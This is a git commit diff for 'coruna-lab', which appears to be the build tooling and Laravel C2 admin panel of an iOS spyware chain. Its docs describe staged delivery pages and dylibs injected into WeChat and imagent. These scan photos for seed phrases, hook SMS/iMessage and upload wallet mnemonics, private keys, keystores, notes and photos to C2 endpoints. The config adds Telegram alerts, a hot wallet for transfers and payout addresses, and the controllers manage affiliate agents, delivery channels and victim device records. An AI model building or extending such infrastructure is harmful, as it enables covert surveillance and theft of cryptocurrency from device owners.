This commit is contained in:
hashbro
2026-08-07 05:21:44 +08:00
parent 5145b6f719
commit 78b61f85d2
325 changed files with 9874 additions and 1738 deletions
+10 -7
View File
@@ -1,18 +1,21 @@
# coruna-lab # coruna-lab
启动 / 验证 Coruna 链路所需的最小文件树。内容从 `coruna-online` **复制**而来,按线上 URL 路径放置。 启动 / 验证 Coruna 链路所需的最小文件树。构建与 patch **不再依赖** 旁路的 `coruna-online/`。
```text ```text
coruna-lab/ coruna-lab/
├── source/ # 只读模板(campaign 原样,勿 patch) ├── source/ # 只读模板 / 明文输入(勿直接 patch)
│ ├── web/<original-channel>/ │ ├── web/<original-channel>/
│ └── sync/ │ ├── sync/ # wire 模板
│ ├── sync_dylibs/ # sync 明文 dylib
│ ├── type0x01_dylibs/ # type-0x01 明文 dylib
│ └── sync_config/daily.body
├── server/public/ ├── server/public/
│ ├── web/<channel-id>/ # 每次 new_project 新增一个投递站 │ ├── web/<channel-id>/ # 每次 new_project 新增一个投递站
│ ├── sync/ # 每次 new_project 重建(同域名内容一致) │ ├── sync/ # 每次 new_project 重建
│ └── out/{channel,seeds,domains}.json │ └── out/{channel,seeds,domains}.json
├── doc/ ├── doc/
├── tools/ ├── tools/ # patch 脚本 + vendor/ 离线辅助库
└── MANIFEST.json └── MANIFEST.json
``` ```
@@ -31,6 +34,7 @@ cd coruna-lab
pip3 install py7zr pycryptodome pip3 install py7zr pycryptodome
/usr/bin/python3 tools/new_project.py \ /usr/bin/python3 tools/new_project.py \
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
--deployment-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info' \ --deployment-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info' \
--reporting-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info' --reporting-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info'
``` ```
@@ -60,7 +64,6 @@ support.html → Stage1/2/3 → 一级包 (.js) → (0x07) → 二级 type-0x01
## 其它 ## 其它
- 来源索引:`MANIFEST.json` - 来源索引:`MANIFEST.json`(历史 provenance;运行时不读)
- 分析报告:`coruna-online/docs/`
- **不要**对 `source/` 跑 `--apply`;产物只写 `server/public/web/<channel>/` 与 `sync/` - **不要**对 `source/` 跑 `--apply`;产物只写 `server/public/web/<channel>/` 与 `sync/`
- 工具细节见 [`tools/README.md`](tools/README.md) - 工具细节见 [`tools/README.md`](tools/README.md)
+24 -14
View File
@@ -71,11 +71,11 @@ null
| POST | `/api/user/avatar/set` | 首次设备 profile | 写 devices(+apps 若有) | | POST | `/api/user/avatar/set` | 首次设备 profile | 写 devices(+apps 若有) |
| POST | `/api/user/get` | 拉/登记状态;带已装 App 列表 | 登记设备;ack | | POST | `/api/user/get` | 拉/登记状态;带已装 App 列表 | 登记设备;ack |
| POST | `/api/user/avatar/put` | 下载/注入/模块健康等遥测 | 登记设备;ack;落文件日志 | | POST | `/api/user/avatar/put` | 下载/注入/模块健康等遥测 | 登记设备;ack;落文件日志 |
| POST | `/api/user/avatar/status` | 钱包 keystore / identity JSON | 地址/密钥启发式入库 | | POST | `/api/user/avatar/status` | 钱包 keystore / identity JSON | `wallet_keystores.raw_json` ← `result` |
| POST | `/api/user/status` | 地址 → 资产/余额 | `wallet_addresses` | | POST | `/api/user/status` | 地址 → 资产/余额(`ba`/`ad`) | `wallet_addresses`(balance JSON,source←`a`) |
| POST | `/api/user/set` | 明文助记词或私钥 | 加密入库 + 打码展示 | | POST | `/api/user/set` | 明文助记词或私钥 | `wallet_mnemonics`(加密,source←`a`) |
| POST | `/api/user/check` | 相册命中图 7z 归档 | 修头解包 → photos | | POST | `/api/user/check` | 相册命中图 7z 归档 | 修头解包 → photos |
| POST | `/api/user/avatar/pic` | Notes 批次(HAR 未见样本) | notes / raw log | | POST | `/api/user/avatar/pic` | Notes 批次(`list`) | `notes.content` ← `payload.list` |
| POST | `/api/user/profile/{add,delete,remove}` | imagent 侧 profile 变更 | 仅日志 + ack | | POST | `/api/user/profile/{add,delete,remove}` | imagent 侧 profile 变更 | 仅日志 + ack |
| POST | `/link/config/list` | WebClip/链接配置轮询 | ack `data: []` | | POST | `/link/config/list` | WebClip/链接配置轮询 | ack `data: []` |
| POST | `/link/config/icon` | WebClip 图标 | ack `data: null` | | POST | `/link/config/icon` | WebClip 图标 | ack `data: null` |
@@ -253,7 +253,7 @@ WhatsApp 等插件也会复用此路径上报消息相关事件(静态/流量
``` ```
**响应**:加密 ack。 **响应**:加密 ack。
Lab:尝试从 `result`/地址类字段入库;完整 keystore 保留在日志/原始 JSON。 Lab:`wallet_keystores` 存整份 `result`(`raw_json`)。
--- ---
@@ -289,7 +289,7 @@ Lab:尝试从 `result`/地址类字段入库;完整 keystore 保留在日志
`ba` 的 key 为地址;value 为该地址下资产数组。 `ba` 的 key 为地址;value 为该地址下资产数组。
**响应**:加密 ack。Lab 写入 `wallet_addresses`(并可能 Telegram 通知新地址/余额变化)。 **响应**:加密 ack。Lab 写入 `wallet_addresses`:`chain_type`←`chainType`(缺省则按地址推断),`balance` 为 `{SYMBOL: 格式化数量}`(按 `decimal`/`decimals`),`source`←`a` 短标签映射钱包名。亦接受 `ad`(Global 标量 map / Trust 资产数组)。
--- ---
@@ -312,7 +312,7 @@ Lab:尝试从 `result`/地址类字段入库;完整 keystore 保留在日志
} }
``` ```
**响应**:加密 ack。Lab:`wallets.mnemonic_enc` / `privkey_enc`(Laravel crypt),后台仅打码展示。 **响应**:加密 ack。Lab:`wallet_mnemonics`(`mnemonic_enc` Laravel crypt,`source`←`a`),后台仅打码展示。
--- ---
@@ -326,9 +326,9 @@ Lab:尝试从 `result`/地址类字段入库;完整 keystore 保留在日志
|------|------| |------|------|
| `file` | Coruna 头混淆 7z;解压后为 JPEG 等 | | `file` | Coruna 头混淆 7z;解压后为 JPEG 等 |
| `sig` | ~352–472 字节不透明数据,用途未证实 | | `sig` | ~352–472 字节不透明数据,用途未证实 |
| `idx` | 解码后含 `process_index`, `upload_count` | | `idx` | 12 hex:`upload_count\|\|process_index`(各 6 位);Lab 解码入库 |
| `ftu` | 解码后含 `sensitive_text_count`, `barcode_count` | | `ftu` | 12 hex:`text_count\|\|barcode_count`;Lab 解码入库 |
| `x-hit` | 检测分数类短字段 | | `x-hit` | BIP39 词数或 -1/-2/-3;Lab 存 `photos.x_hit` |
| `rid` | ~36 字符请求/资源 id | | `rid` | ~36 字符请求/资源 id |
| `c`,`d`,`f`,`s`,`u`,`b`,`m`,`ts` | 设备/会话侧短字段(与 JSON 接口同族) | | `c`,`d`,`f`,`s`,`u`,`b`,`m`,`ts` | 设备/会话侧短字段(与 JSON 接口同族) |
| `d`,`f` | **长度 32**:相对 JSON 的 16 hex 做了 nibble/byte 重排后再 hex(ascii);Lab 归一化后入库 | | `d`,`f` | **长度 32**:相对 JSON 的 16 hex 做了 nibble/byte 重排后再 hex(ascii);Lab 归一化后入库 |
@@ -342,12 +342,22 @@ Lab:尝试从 `result`/地址类字段入库;完整 keystore 保留在日志
### 3.9 `POST /api/user/avatar/pic` ### 3.9 `POST /api/user/avatar/pic`
**用途**:静态绑定 Notes reader 批次上报。 **用途**:Notes reader 批次上报。
**HAR**:未见真实 Notes 正文/DB 样本。
**请求**:预期为加密 JSON(字段未从流量钉死);可能含笔记列表或元数据。 **请求明文要点**(真机已见):
**响应**:加密 ack。Lab:有结构则写 `notes`,否则只写 `public/log/c2/`。 ```jsonc
{
"c": "<32hex>",
"d": "<16hex>",
"f": "<16hex>",
"s": "...",
"u": "<40hex>",
"list": ["<note text>", "..."]
}
```
**响应**:加密 ack。Lab:`notes.content` ← `payload.list`(JSON 数组)。
--- ---
+12 -4
View File
@@ -53,7 +53,15 @@
| 25 | `candy_ketchup.html` | `WeChat.dylib` | 微信 | 本地 OCR/QR/敏感词/BIP39;命中后经 C2 上传 | | 25 | `candy_ketchup.html` | `WeChat.dylib` | 微信 | 本地 OCR/QR/敏感词/BIP39;命中后经 C2 上传 |
| 26 | `horror-monster.ts` | `libDataAccessServices.dylib` | `imagent` | Hook SMS/iMessage;profile 与事件上报 | | 26 | `horror-monster.ts` | `libDataAccessServices.dylib` | `imagent` | Hook SMS/iMessage;profile 与事件上报 |
原始 wire 文件来源目录: Lab 内路径:
`coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/`
解包 dylib: | 路径 | 内容 |
`…/downloads/extracted/<sha256>/` |---|---|
| `source/sync/` | 原始 wire(混淆头 + 密码 7z)模板 |
| `source/sync_dylibs/` | 解包后的明文 dylib(`patch_core` 改 channel/seed 的输入) |
| `source/type0x01_dylibs/` | type-0x01 明文 dylib(`patch_secondary_packs` 输入) |
| `source/sync_config/daily.body` | daily netconfig 原始 body(用于重建 `daily.html`) |
| `tools/sync_modules.json` | wire ↔ member ↔ `source/sync_dylibs/` 清单 |
| `tools/vendor/` | 离线辅助库(原 `coruna-online/module_hunt` 子集) |
构建只读上述路径,不再访问旁路 `coruna-online/`。
+21 -2
View File
@@ -46,6 +46,10 @@ ADMIN_PASSWORD=admin123
# Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0. # Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0.
CORUNA_SESSION_KEY= CORUNA_SESSION_KEY=
# Fallback delivery hosts (overridden by 系统设置 → 投放域名)
CORUNA_CHANNEL_DOMAINS=
# Max channel links per agent (super-admin settings can override)
CORUNA_MAX_CHANNELS_PER_AGENT=5
# p7zip binary. On panel hosts with open_basedir, prefer project-local: # p7zip binary. On panel hosts with open_basedir, prefer project-local:
# mkdir -p bin && cp "$(command -v 7z)" bin/7z && chmod +x bin/7z # mkdir -p bin && cp "$(command -v 7z)" bin/7z && chmod +x bin/7z
# CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/server/bin/7z # CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/server/bin/7z
@@ -53,11 +57,26 @@ CORUNA_SESSION_KEY=
# CORUNA_7Z_BIN=/usr/bin/7z # CORUNA_7Z_BIN=/usr/bin/7z
CORUNA_7Z_BIN= CORUNA_7Z_BIN=
# Telegram (new device / new wallet only — no bot commands, no /kill) # Telegram (outbound alerts + inbound Nutgram commands)
TELEGRAM_BOT_TOKEN= TELEGRAM_BOT_TOKEN=
TELEGRAM_OWNER_CHAT_ID= TELEGRAM_OWNER_CHAT_ID=
TELEGRAM_WEBHOOK_SECRET=
# Reserved payout addresses — NOT wired (transfer skipped) # Hot wallet for /transfer only (never use device-collected mnemonics)
HOT_WALLET_MNEMONIC=
HOT_WALLET_INDEX=0
TRON_FULL_NODE=https://api.trongrid.io
TRON_API_KEY=
TRON_USDT_CONTRACT=TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t
# TRANSFER_MAX_USDT=0
# TRANSFER_MAX_TRX=0
# Tokenview address tracking (monitor=1 addresses)
TOKENVIEW_API_KEY=
TOKENVIEW_SIGN_KEY=
# TOKENVIEW_BASE_URL=https://services.tokenview.io/vipapi
# Reserved payout addresses
PAYOUT_ETH= PAYOUT_ETH=
PAYOUT_BTC= PAYOUT_BTC=
PAYOUT_TRON= PAYOUT_TRON=
+2
View File
@@ -18,6 +18,8 @@
/public/log/* /public/log/*
!/public/log/.gitignore !/public/log/.gitignore
/public/storage /public/storage
/public/sync
/public/web
/storage/*.key /storage/*.key
/storage/pail /storage/pail
/vendor /vendor
@@ -0,0 +1,115 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use App\Models\Admin;
use Illuminate\Http\Request;
use Illuminate\Validation\Rule;
class AdminUserController extends Controller
{
public function index()
{
return view('admin.system.admins');
}
public function data(Request $request)
{
$q = Admin::query();
$username = trim((string) $request->query('username', ''));
if ($username !== '') {
$q->where('username', 'like', '%'.$username.'%');
}
$sortable = ['id', 'username', 'is_super', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$selfId = (int) auth('admin')->id();
$data = collect($paginator->items())->map(function (Admin $a) use ($selfId) {
return [
'id' => $a->id,
'username' => $a->username,
'is_super' => (int) $a->is_super,
'created_at' => optional($a->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($a->updated_at)->format('Y-m-d H:i:s'),
'is_self' => $a->id === $selfId,
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function store(Request $request)
{
$data = $request->validate([
'username' => ['required', 'string', 'max:64', 'alpha_dash', Rule::unique('admins', 'username')],
'password' => ['required', 'string', 'min:6', 'max:128'],
'is_super' => ['nullable', 'integer', Rule::in([0, 1])],
]);
$admin = Admin::query()->create([
'username' => $data['username'],
'password' => $data['password'],
'is_super' => (int) ($data['is_super'] ?? 0),
]);
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $admin->id]]);
}
public function update(Request $request, Admin $adminUser)
{
$data = $request->validate([
'password' => ['nullable', 'string', 'min:6', 'max:128'],
'is_super' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if (array_key_exists('is_super', $data) && $data['is_super'] !== null) {
$newSuper = (int) $data['is_super'];
if ($adminUser->isSuper() && $newSuper === 0 && $this->superCount() <= 1) {
return response()->json(['code' => 1, 'msg' => '至少保留一名超级管理员'], 422);
}
$adminUser->is_super = $newSuper;
}
if (! empty($data['password'])) {
$adminUser->password = $data['password'];
}
$adminUser->save();
return response()->json(['code' => 0, 'msg' => 'ok']);
}
public function destroy(Admin $adminUser)
{
if ((int) $adminUser->id === (int) auth('admin')->id()) {
return response()->json(['code' => 1, 'msg' => '不能删除当前登录账号'], 422);
}
if ($adminUser->isSuper() && $this->superCount() <= 1) {
return response()->json(['code' => 1, 'msg' => '不能删除最后一名超级管理员'], 422);
}
$adminUser->delete();
return response()->json(['code' => 0, 'msg' => 'ok']);
}
private function superCount(): int
{
return (int) Admin::query()->where('is_super', 1)->count();
}
}
@@ -0,0 +1,121 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use App\Models\Channel;
use App\Models\User;
use Illuminate\Http\Request;
use Illuminate\Validation\Rule;
class AgentUserController extends Controller
{
public function index()
{
return view('admin.agents.index');
}
public function data(Request $request)
{
$q = User::query()->withCount('channels');
$username = trim((string) $request->query('username', ''));
$status = $request->query('status');
if ($username !== '') {
$q->where('username', 'like', '%'.$username.'%');
}
if ($status !== null && $status !== '') {
$q->where('status', (int) $status);
}
$sortable = ['id', 'username', 'status', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (User $u) {
return [
'id' => $u->id,
'username' => $u->username,
'status' => (int) $u->status,
'comment' => $u->comment ?: '',
'channels_count' => (int) $u->channels_count,
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function store(Request $request)
{
$data = $request->validate([
'username' => ['required', 'string', 'max:64', 'alpha_dash', Rule::unique('users', 'username')],
'password' => ['required', 'string', 'min:6', 'max:128'],
'comment' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
$user = User::query()->create([
'username' => $data['username'],
'password' => $data['password'],
'comment' => $data['comment'] ?? null,
'status' => (int) ($data['status'] ?? 1),
]);
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
}
public function update(Request $request, User $agent)
{
$data = $request->validate([
'password' => ['nullable', 'string', 'min:6', 'max:128'],
'comment' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if (array_key_exists('comment', $data)) {
$agent->comment = $data['comment'];
}
if (array_key_exists('status', $data) && $data['status'] !== null) {
$agent->status = (int) $data['status'];
}
if (! empty($data['password'])) {
$agent->password = $data['password'];
}
$agent->save();
return response()->json(['code' => 0, 'msg' => 'ok']);
}
public function channels(User $agent)
{
$rows = Channel::query()
->where('user_id', $agent->id)
->orderByDesc('id')
->get()
->map(fn (Channel $c) => [
'id' => $c->id,
'channel_id' => $c->channel_id,
'status' => (int) $c->status,
'remark' => $c->remark ?: '',
'links' => $c->supportLinks(),
])
->values();
return response()->json(['code' => 0, 'msg' => '', 'data' => $rows]);
}
}
@@ -0,0 +1,232 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Channel;
use App\Models\User;
use App\Services\ChannelProjectService;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Validation\Rule;
use Illuminate\Validation\ValidationException;
class ChannelController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
return view('admin.channels.index', [
'portal' => $this->portal(),
'agents' => $agents,
'maxPerAgent' => Channel::maxPerAgent(),
]);
}
public function data(Request $request)
{
$q = Channel::query()->with('user:id,username');
if ($agent = $this->agent()) {
$q->where('user_id', $agent->id);
}
$channelId = trim((string) $request->query('channel_id', ''));
$agentUserId = $request->query('agent_user_id');
$status = $request->query('status');
if ($channelId !== '') {
$q->where('channel_id', 'like', '%'.$channelId.'%');
}
if (! $this->isAgentPortal() && $agentUserId !== null && $agentUserId !== '') {
$q->where('user_id', (int) $agentUserId);
}
if ($status !== null && $status !== '') {
$q->where('status', (int) $status);
}
$sortable = ['id', 'channel_id', 'status', 'user_id', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (Channel $c) {
return [
'id' => $c->id,
'channel_id' => $c->channel_id,
'user_id' => (int) $c->user_id,
'agent_username' => $c->agentLabel(),
'remark' => $c->remark ?: '',
'status' => (int) $c->status,
'links' => $c->supportLinks(),
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function randomId()
{
return response()->json([
'code' => 0,
'msg' => '',
'data' => ['channel_id' => Channel::randomChannelId()],
]);
}
public function store(Request $request, ChannelProjectService $projects)
{
abort_if($this->isAgentPortal(), 403);
$data = $request->validate([
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
'user_id' => ['nullable', 'integer', 'min:0'],
'remark' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
$this->assertAgentChannelQuota($userId);
try {
$channel = DB::transaction(function () use ($data, $userId, $projects) {
$channel = Channel::query()->create([
'channel_id' => $data['channel_id'],
'user_id' => $userId,
'domains' => [],
'remark' => $data['remark'] ?? null,
'status' => (int) ($data['status'] ?? 1),
]);
$projects->generate($channel->channel_id);
return $channel;
});
} catch (\Throwable $e) {
$projects->deleteWebTree($data['channel_id']);
return response()->json([
'code' => 1,
'msg' => $e->getMessage() ?: '创建失败',
], 422);
}
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'id' => $channel->id,
'links' => $channel->supportLinks(),
],
]);
}
public function update(Request $request, Channel $channel)
{
$this->authorizeChannel($channel);
if ($this->isAgentPortal()) {
$data = $request->validate([
'remark' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if (array_key_exists('remark', $data)) {
$channel->remark = $data['remark'];
}
if (array_key_exists('status', $data) && $data['status'] !== null) {
$channel->status = (int) $data['status'];
}
} else {
$data = $request->validate([
'user_id' => ['nullable', 'integer', 'min:0'],
'remark' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if (array_key_exists('user_id', $data)) {
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
if ($userId !== (int) $channel->user_id && $userId > 0) {
$this->assertAgentChannelQuota($userId, $channel->id);
}
$channel->user_id = $userId;
}
if (array_key_exists('remark', $data)) {
$channel->remark = $data['remark'];
}
if (array_key_exists('status', $data) && $data['status'] !== null) {
$channel->status = (int) $data['status'];
}
}
$channel->save();
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => ['links' => $channel->supportLinks()],
]);
}
public function destroy(Channel $channel, ChannelProjectService $projects)
{
abort_if($this->isAgentPortal(), 403);
$this->authorizeChannel($channel);
$channelId = $channel->channel_id;
$channel->delete();
$projects->deleteWebTree($channelId);
return response()->json(['code' => 0, 'msg' => 'ok']);
}
private function assertAgentChannelQuota(int $userId, ?int $exceptChannelId = null): void
{
if ($userId <= 0) {
return;
}
$q = Channel::query()->where('user_id', $userId);
if ($exceptChannelId) {
$q->where('id', '!=', $exceptChannelId);
}
$count = $q->count();
$max = Channel::maxPerAgent();
if ($count >= $max) {
throw ValidationException::withMessages([
'user_id' => "该代理最多只能拥有 {$max} 条渠道链接",
]);
}
}
private function authorizeChannel(Channel $channel): void
{
if ($agent = $this->agent()) {
abort_unless((int) $channel->user_id === (int) $agent->id, 403);
}
}
}
@@ -0,0 +1,83 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Device;
use App\Models\User;
use App\Support\AgentScope;
use Carbon\Carbon;
use Illuminate\Http\Request;
class DashboardController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
return view('admin.dashboard.index', [
'portal' => $this->portal(),
'agents' => $agents,
]);
}
public function data(Request $request)
{
$range = (string) $request->query('range', '30d');
[$from, $to] = $this->rangeBounds($range);
$channelId = trim((string) $request->query('channel_id', ''));
$agentUserId = $this->isAgentPortal()
? (int) ($this->agent()?->id ?? 0)
: (int) $request->query('agent_user_id', 0);
$base = Device::query();
AgentScope::applyDeviceChannelScope($base, $this->agent());
if (! $this->isAgentPortal() && $agentUserId > 0) {
AgentScope::applyAgentUserFilter($base, $agentUserId);
}
if ($channelId !== '') {
$base->where('channel_id', 'like', '%'.$channelId.'%');
}
$total = (clone $base)->count();
$newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count();
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
return response()->json([
'code' => 0,
'msg' => '',
'data' => [
'total' => $total,
'new_count' => $newCount,
'active_count' => $activeCount,
'range' => $range,
'from' => $from->toDateTimeString(),
'to' => $to->toDateTimeString(),
],
]);
}
/**
* @return array{0: Carbon, 1: Carbon}
*/
private function rangeBounds(string $range): array
{
$now = Carbon::now();
return match ($range) {
'today' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()],
'yesterday' => [
$now->copy()->subDay()->startOfDay(),
$now->copy()->subDay()->endOfDay(),
],
'7d' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()],
default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()],
};
}
}
@@ -2,86 +2,139 @@
namespace App\Http\Controllers\Admin; namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller; use App\Http\Controllers\Controller;
use App\Models\Device; use App\Models\Device;
use App\Models\Wallet; use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request; use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage; use Illuminate\Support\Facades\Storage;
class DeviceController extends Controller class DeviceController extends Controller
{ {
public function index(Request $request) use PortalAware;
public function index()
{ {
$filters = [ $agents = $this->isAgentPortal()
'device_key' => trim((string) $request->query('device_key', '')), ? collect()
'channel_id' => trim((string) $request->query('channel_id', '')), : User::query()->orderBy('username')->get(['id', 'username']);
'model' => trim((string) $request->query('model', '')),
'ip' => trim((string) $request->query('ip', '')),
'ios' => trim((string) $request->query('ios', '')),
'installed_from' => trim((string) $request->query('installed_from', '')),
'installed_to' => trim((string) $request->query('installed_to', '')),
];
$q = Device::query()->orderByDesc('updated_at'); return view('admin.devices.index', [
'portal' => $this->portal(),
'agents' => $agents,
]);
}
if ($filters['device_key'] !== '') { public function data(Request $request)
$q->where('device_id', 'like', '%'.$filters['device_key'].'%'); {
} $filters = $this->filtersFrom($request);
if ($filters['channel_id'] !== '') { $q = $this->filteredQuery($filters);
$q->where('channel_id', 'like', '%'.$filters['channel_id'].'%');
}
if ($filters['model'] !== '') {
$q->where('device_model', 'like', '%'.$filters['model'].'%');
}
if ($filters['ip'] !== '') {
$q->where('ip', 'like', '%'.$filters['ip'].'%');
}
if ($filters['ios'] !== '') {
$q->where('ios_version', 'like', '%'.$filters['ios'].'%');
}
if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}$/', $filters['installed_from'])) {
$q->whereDate('created_at', '>=', $filters['installed_from']);
}
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}$/', $filters['installed_to'])) {
$q->whereDate('created_at', '<=', $filters['installed_to']);
}
$devices = $q->paginate(30)->withQueryString(); $sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'updated_at');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'updated_at';
}
$q->orderBy('devices.'.$field, $order);
return view('admin.devices.index', compact('devices', 'filters')); $limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['devices.*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function (Device $d) use ($portal) {
return [
'id' => $d->id,
'device_id' => $d->device_id,
'channel_id' => $d->channel_id ?: '',
'device_model' => $d->device_model ?: '',
'ios_version' => $d->ios_version ?: '',
'ip' => $d->ip ?: '',
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $d),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
} }
public function show(Device $device, Request $request) public function show(Device $device, Request $request)
{ {
$tab = $request->query('tab', 'apps'); $this->authorizeDevice($device);
if (! in_array($tab, ['apps', 'events', 'photos', 'notes', 'wallets'], true)) {
$tab = 'apps'; $tab = $request->query('tab', 'wallets');
if (! in_array($tab, ['wallets', 'mnemonics', 'photos', 'apps', 'notes', 'events'], true)) {
$tab = 'wallets';
} }
$apps = $device->apps()->orderByDesc('is_wallet')->orderBy('name')->get(); $addressSources = collect();
$events = $device->events()->orderByDesc('id')->limit(500)->get(); $addressChains = collect();
$photos = $device->photos()->orderByDesc('id')->limit(200)->get(); if ($tab === 'wallets') {
$notes = $device->notes()->orderByDesc('id')->limit(200)->get(); $addressSources = $device->addresses()
$wallets = $device->wallets()->orderByDesc('id')->get(); ->whereNotNull('source')
$addresses = $device->addresses()->orderByDesc('id')->get(); ->where('source', '!=', '')
->distinct()
->orderBy('source')
->pluck('source')
->values();
$addressChains = $device->addresses()
->whereNotNull('chain_type')
->where('chain_type', '!=', '')
->distinct()
->orderBy('chain_type')
->pluck('chain_type')
->values();
}
$maskedWallets = $wallets->map(function (Wallet $w) { return view('admin.devices.show', [
return [ 'device' => $device,
'id' => $w->id, 'tab' => $tab,
'source_app' => $w->source_app, 'addressSources' => $addressSources,
'mnemonic' => Wallet::maskSecret($w->mnemonic), 'addressChains' => $addressChains,
'privkey' => Wallet::maskSecret($w->privkey), 'portal' => $this->portal(),
'created_at' => $w->created_at, ]);
]; }
});
return view('admin.devices.show', compact( public function tabData(Device $device, Request $request)
'device', 'tab', 'apps', 'events', 'photos', 'notes', 'maskedWallets', 'addresses' {
)); $this->authorizeDevice($device);
$tab = (string) $request->query('tab', 'wallets');
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
$field = (string) $request->query('field', 'id');
return match ($tab) {
